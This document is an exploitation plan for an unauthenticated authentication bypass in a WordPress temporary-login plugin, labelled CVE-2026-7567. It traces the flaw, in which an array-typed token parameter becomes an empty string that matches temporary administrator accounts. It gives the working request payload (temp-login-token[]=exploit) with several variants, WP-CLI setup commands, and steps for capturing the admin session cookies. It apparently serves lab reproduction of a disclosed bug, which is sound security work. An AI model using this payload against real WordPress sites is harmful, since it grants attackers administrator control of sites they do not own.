Exploitation Research Plan: CVE-2026-7567 - Temporary Login Authentication Bypass

1. Vulnerability Summary

The Temporary Login plugin for WordPress (versions <= 1.0.0) contains an authentication bypass vulnerability in the maybe_login_temporary_user() function. The vulnerability arises because the plugin fails to validate that the temp-login-token GET parameter is a scalar string before passing it to sanitize_key().

When an array is supplied (e.g., temp-login-token[]=), sanitize_key() returns an empty string. This empty string is then used in a get_users() query as the meta_value for the _temporary_login_token key. WordPress's WP_User_Query logic, when receiving an empty meta_value, may return all users possessing that meta_key. Since the plugin's temporary users are created with the administrator role by default, an unauthenticated attacker can authenticate as the first available temporary administrator by sending a crafted request.

2. Attack Vector Analysis

• Endpoint: Any WordPress page (the vulnerable function is hooked to init).
• Hook: add_action( 'init', [ __CLASS__, 'maybe_login_temporary_user' ] ); in core/admin.php.
• Parameter: temp-login-token (GET parameter).
• Payload: temp-login-token[]=randomvalue
• Authentication: Unauthenticated.
• Precondition: At least one active (non-expired) temporary login user must exist in the database.

3. Code Flow

1. Entry Point: A request is made to any WordPress URL with ?temp-login-token[]=1.
2. Hook Execution: TemporaryLogin\Core\Admin::maybe_login_temporary_user() is triggered during init.
3. Input Validation Failure (core/admin.php):

   if ( empty( $_GET['temp-login-token'] ) ) { // Returns false because array is not empty
       return;
   }
   $token = sanitize_key( $_GET['temp-login-token'] ); // Returns "" (empty string) for array input
   

4. Data Retrieval (core/options.php via Admin::maybe_login_temporary_user):

   $user = Options::get_user_by_token( $token ); // $token is ""
   

5. Vulnerable Query (core/options.php):

   public static function get_user_by_token( $token ) {
       $users = get_users( [
           'meta_key' => '_temporary_login_token',
           'meta_value' => $token, // meta_value is ""
       ] );
       // ... returns the first user matching the meta_key
   }
   

6. Authentication Bypass (core/admin.php):

   if ( ! $user || Options::is_user_expired( $user->ID ) ) { ... }
   static::process_login( $user ); // Authenticates the attacker as $user[0]
   

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce. The maybe_login_temporary_user() function is designed to handle auto-logins from external email links where nonces are not applicable. It relies solely on the temp-login-token for "security."

5. Exploitation Strategy

1. Create Target Data: Use WP-CLI to generate a temporary user so the bypass has a target to find.
2. Trigger Bypass: Send a GET request to the WordPress homepage with the array payload.
3. Capture Cookies: The response should include Set-Cookie headers for the authenticated session.
4. Access Admin Area: Use the captured cookies to request /wp-admin/ and verify administrator access.

HTTP Request (Payload)

GET /?temp-login-token[]=exploit HTTP/1.1
Host: localhost

6. Test Data Setup

1. Activate Plugin: Ensure temporary-login is installed and active.
2. Create Temporary User:
   • Since we need to test the bypass, we must simulate a state where a temporary user exists.
   • Run the following WP-CLI command to invoke the plugin's internal user generation:

     wp eval 'TemporaryLogin\Core\Options::generate_temporary_user();'
     

3. Verify User Creation:

   wp user list --role=administrator
   

   (Look for a user with the prefix temp-login-)

7. Expected Results

• The initial GET request to /?temp-login-token[]=exploit should return a 302 Found redirecting to /wp-admin/.
• The response headers should contain authentication cookies (wordpress_logged_in_*).
• Following the redirect with the provided cookies should grant full access to the WordPress dashboard.

8. Verification Steps

1. Check Logged-in User:
   After the HTTP request, use the capture session to check the current user's identity:

   # This is done via the PoC script checking the dashboard content or user profile
   

2. Database State Check:
   Confirm the temporary user was indeed the one logged into:

   wp user get <username_from_cookies> --field=roles
   wp user get <username_from_cookies> --field=display_name
   

9. Alternative Approaches

• Action Parameter: If the direct login fails, try appending &temp-login-action=info to see if the plugin leaks the expiration data of the first temporary user, confirming the get_users() query is indeed returning a user object.
• Multiple Users: If the first temporary user in the database is expired, the code will redirect to home_url(). In a real-world scenario, the attacker would hope for at least one active user. For testing, ensure the generated user is not expired (the default is 7 days).
• Payload Variations:
  • ?temp-login-token[0]=
  • ?temp-login-token[a]=b
  • ?temp-login-token[]= (empty element)